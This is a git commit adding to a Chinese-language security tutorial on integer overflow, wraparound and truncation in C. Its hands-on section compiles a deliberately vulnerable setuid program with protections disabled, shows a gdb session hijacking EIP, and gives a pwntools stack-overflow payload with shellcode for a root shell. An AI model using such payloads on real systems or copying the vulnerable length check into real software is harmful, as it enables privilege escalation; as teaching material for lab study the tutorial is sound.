update integer overflow

This commit is contained in:
firmianay 2017-08-18 14:21:11 +08:00
parent ec87e74daf
commit 0cad709f99
2 changed files with 179 additions and 11 deletions

View File

@ -17,7 +17,18 @@
## 整数溢出 ## 整数溢出
#### 有符号整数上溢出 关于整数的异常情况主要有三种:
- 溢出
- 只有有符号数才会发生溢出。有符号数最高位表示符号,在两正或两负相加时,有可能改变符号位的值,产生溢出
- 溢出标志 `OF` 可检测有符号数的溢出
- 回绕
- 无符号数 `0-1` 时会变成最大的数,如 1 字节的无符号数会变为 `255`,而 `255+1` 会变成最小数 `0`
- 进位标志 `CF` 可检测无符号数的回绕
- 截断
- 将一个较大宽度的数存入一个宽度小的操作数中,高位发生截断
#### 有符号整数溢出
- 上溢出
```c ```c
int i; int i;
i = INT_MAX; // 2 147 483 647 i = INT_MAX; // 2 147 483 647
@ -25,23 +36,38 @@ i++;
printf("i = %d\n", i); // i = -2 147 483 648 printf("i = %d\n", i); // i = -2 147 483 648
``` ```
#### 有符号整数下溢出 - 下溢出
```c ```c
i = INT_MIN; // -2 147 483 648 i = INT_MIN; // -2 147 483 648
i--; i--;
printf("i = %d\n", i); // i = 2 147 483 647 printf("i = %d\n", i); // i = 2 147 483 647
``` ```
#### 无符号数截断 #### 无符号数回绕
涉及无符号数的计算永远不会溢出,如果计算结果无法用无符号数表示,就会发生截断 涉及无符号数的计算永远不会溢出,因为不能用结果为无符号整数表示的结果值被该类型可以表示的最大值加 1 之和取模减reduced modulo。因为回绕一个无符号整数表达式永远无法求出小于零的值
加法截断: 使用下图直观地理解回绕,在轮上按顺时针方向将值递增产生的值紧挨着它:
![](../pic/1.5.1_unsigned_integer.png)
```c
unsigned int ui;
ui = UINT_MAX; // 在 x86-32 上为 4 294 967 295
ui++;
printf("ui = %u\n", ui); // ui = 0
ui = 0;
ui--;
printf("ui = %u\n", ui); // 在 x86-32 上ui = 4 294 967 295
```
#### 截断
- 加法截断:
```text ```text
0xffffffff + 0x00000001 0xffffffff + 0x00000001
= 0x0000000100000000 (long long) = 0x0000000100000000 (long long)
= 0x00000000 (long) = 0x00000000 (long)
``` ```
乘法截断: - 乘法截断:
```text ```text
0x00123456 * 0x00654321 0x00123456 * 0x00654321
= 0x000007336BF94116 (long long) = 0x000007336BF94116 (long long)
@ -199,11 +225,12 @@ void vulnerable() {
``` ```
这个例子的问题在于,如果攻击者给 `len` 赋于了一个负数,则可以绕过 `if` 语句的检测,而执行到 `memcpy()` 的时候,由于第三个参数是 `size_t` 类型,负数 `len` 会被转换为一个无符号整型,它可能是一个非常大的正数,从而复制了大量的内容到 `buf` 中,引发了缓冲区溢出。 这个例子的问题在于,如果攻击者给 `len` 赋于了一个负数,则可以绕过 `if` 语句的检测,而执行到 `memcpy()` 的时候,由于第三个参数是 `size_t` 类型,负数 `len` 会被转换为一个无符号整型,它可能是一个非常大的正数,从而复制了大量的内容到 `buf` 中,引发了缓冲区溢出。
示例二,溢出: 示例二,回绕和溢出:
``` ```c
void vulnerable() { void vulnerable() {
size_t len; size_t len;
char *buf; // int len;
char* buf;
len = read_int_from_network(); len = read_int_from_network();
buf = malloc(len + 5); buf = malloc(len + 5);
@ -211,7 +238,7 @@ void vulnerable() {
... ...
} }
``` ```
这个例子看似避开了缓冲区溢出的问题,但是如果 `len` 过大,`len+5` 有可能发生溢出。比如说,在 x86-32 上,如果 `len = 0xFFFFFFFF`,则 `len+5 = 0x00000004`,这时 `malloc()` 只分配了 4 字节的内存区域,然后在里面写入大量的数据,缓冲区溢出也就发生了。 这个例子看似避开了缓冲区溢出的问题,但是如果 `len` 过大,`len+5` 有可能发生回绕。比如说,在 x86-32 上,如果 `len = 0xFFFFFFFF`,则 `len+5 = 0x00000004`,这时 `malloc()` 只分配了 4 字节的内存区域,然后在里面写入大量的数据,缓冲区溢出也就发生了。(如果将 `len` 声明为有符号 `int` 类型,`len+5` 可能发生溢出)
示例三,截断: 示例三,截断:
``` ```
@ -227,7 +254,128 @@ void main(int argc, char *argv[]) {
这个例子接受两个字符串类型的参数并计算它们的总长度,程序分配足够的内存来存储拼接后的字符串。首先将第一个字符串参数复制到缓冲区中,然后将第二个参数连接到尾部。如果攻击者提供的两个字符串总长度无法用 `total` 表示,则会发生截断,从而导致后面的缓冲区溢出。 这个例子接受两个字符串类型的参数并计算它们的总长度,程序分配足够的内存来存储拼接后的字符串。首先将第一个字符串参数复制到缓冲区中,然后将第二个参数连接到尾部。如果攻击者提供的两个字符串总长度无法用 `total` 表示,则会发生截断,从而导致后面的缓冲区溢出。
#### 实战 #### 实战
看了上面的示例,我们来真正利用一个整数溢出漏洞。 看了上面的示例,我们来真正利用一个整数溢出漏洞。[源码](../src/Other/3.3.2_integer.c)
```c
#include<stdio.h>
#include<string.h>
void validate_passwd(char *passwd) {
char passwd_buf[11];
unsigned char passwd_len = strlen(passwd);
if(passwd_len >= 4 && passwd_len <= 8) {
printf("good!\n");
strcpy(passwd_buf, passwd);
} else {
printf("bad!\n");
}
}
int main(int argc, char *argv[]) {
if(argc != 2) {
printf("error\n");
return 0;
}
validate_passwd(argv[1]);
}
```
上面的程序中 `strlen()` 返回类型是 `size_t`却被存储在无符号字符串类型中任意超过无符号字符串最大上限值256 字节)的数据都会导致截断异常。当密码长度为 261 时,截断后值变为 5成功绕过了 `if` 的判断,导致栈溢出。下面我们利用溢出漏洞来获得 shell。
编译命令:
```text
# echo 0 > /proc/sys/kernel/randomize_va_space
$ gcc -g -fno-stack-protector -z execstack vuln.c
$ sudo chown root vuln
$ sudo chgrp root vuln
$ sudo chmod +s vuln
```
使用 gdb 反汇编 `validate_passwd` 函数。
```text
gdb-peda$ disassemble validate_passwd
Dump of assembler code for function validate_passwd:
0x0000059d <+0>: push ebp ; 压入 ebp
0x0000059e <+1>: mov ebp,esp
0x000005a0 <+3>: push ebx ; 压入 ebx
0x000005a1 <+4>: sub esp,0x14
0x000005a4 <+7>: call 0x4a0 <__x86.get_pc_thunk.bx>
0x000005a9 <+12>: add ebx,0x1a57
0x000005af <+18>: sub esp,0xc
0x000005b2 <+21>: push DWORD PTR [ebp+0x8]
0x000005b5 <+24>: call 0x430 <strlen@plt>
0x000005ba <+29>: add esp,0x10
0x000005bd <+32>: mov BYTE PTR [ebp-0x9],al ; 将 len 存入 [ebp-0x9]
0x000005c0 <+35>: cmp BYTE PTR [ebp-0x9],0x3
0x000005c4 <+39>: jbe 0x5f2 <validate_passwd+85>
0x000005c6 <+41>: cmp BYTE PTR [ebp-0x9],0x8
0x000005ca <+45>: ja 0x5f2 <validate_passwd+85>
0x000005cc <+47>: sub esp,0xc
0x000005cf <+50>: lea eax,[ebx-0x1910]
0x000005d5 <+56>: push eax
0x000005d6 <+57>: call 0x420 <puts@plt>
0x000005db <+62>: add esp,0x10
0x000005de <+65>: sub esp,0x8
0x000005e1 <+68>: push DWORD PTR [ebp+0x8]
0x000005e4 <+71>: lea eax,[ebp-0x14] ; 取 passwd_buf 地址
0x000005e7 <+74>: push eax ; 压入 passwd_buf
0x000005e8 <+75>: call 0x410 <strcpy@plt>
0x000005ed <+80>: add esp,0x10
0x000005f0 <+83>: jmp 0x604 <validate_passwd+103>
0x000005f2 <+85>: sub esp,0xc
0x000005f5 <+88>: lea eax,[ebx-0x190a]
0x000005fb <+94>: push eax
0x000005fc <+95>: call 0x420 <puts@plt>
0x00000601 <+100>: add esp,0x10
0x00000604 <+103>: nop
0x00000605 <+104>: mov ebx,DWORD PTR [ebp-0x4]
0x00000608 <+107>: leave
0x00000609 <+108>: ret
End of assembler dump.
```
通过阅读反汇编代码,我们知道缓冲区 `passwd_buf` 位于 `ebp=0x14` 的位置(`0x000005e4 <+71>: lea eax,[ebp-0x14]`),而返回地址在 `ebp+4` 的位置,所以返回地址相对于缓冲区 `0x18` 的位置。我们测试一下:
```text
gdb-peda$ r `python2 -c 'print "A"*24 + "B"*4 + "C"*233'`
Starting program: /home/a.out `python2 -c 'print "A"*24 + "B"*4 + "C"*233'`
good!
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd0f4 ('A' <repeats 24 times>, "BBBB", 'C' <repeats 172 times>...)
EBX: 0x41414141 ('AAAA')
ECX: 0xffffd490 --> 0x534c0043 ('C')
EDX: 0xffffd1f8 --> 0xffff0043 --> 0x0
ESI: 0xf7f95000 --> 0x1bbd90
EDI: 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd110 ('C' <repeats 200 times>...)
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xffffd110 ('C' <repeats 200 times>...)
0004| 0xffffd114 ('C' <repeats 200 times>...)
0008| 0xffffd118 ('C' <repeats 200 times>...)
0012| 0xffffd11c ('C' <repeats 200 times>...)
0016| 0xffffd120 ('C' <repeats 200 times>...)
0020| 0xffffd124 ('C' <repeats 200 times>...)
0024| 0xffffd128 ('C' <repeats 200 times>...)
0028| 0xffffd12c ('C' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
```
可以看到 `EIP``BBBB` 覆盖,相当于我们获得了返回地址的控制权。构建下面的 payload
```python
from pwn import *
ret_addr = 0xffffd118 # ebp = 0xffffd108
shellcode = shellcraft.i386.sh()
payload = "A" * 24
payload += p32(ret_addr)
payload += "\x90" * 20
payload += asm(shellcode)
payload += "C" * 169 # 24 + 4 + 20 + 44 + 169 = 261
```
## CTF 中的整数溢出 ## CTF 中的整数溢出

View File

@ -0,0 +1,20 @@
#include<stdio.h>
#include<string.h>
void validate_passwd(char *passwd) {
char passwd_buf[11];
unsigned char passwd_len = strlen(passwd);
if(passwd_len >= 4 && passwd_len <= 8) {
printf("good!\n");
strcpy(passwd_buf, passwd);
} else {
printf("bad!\n");
}
}
int main(int argc, char *argv[]) {
if(argc != 2) {
printf("error\n");
return 0;
}
validate_passwd(argv[1]);
}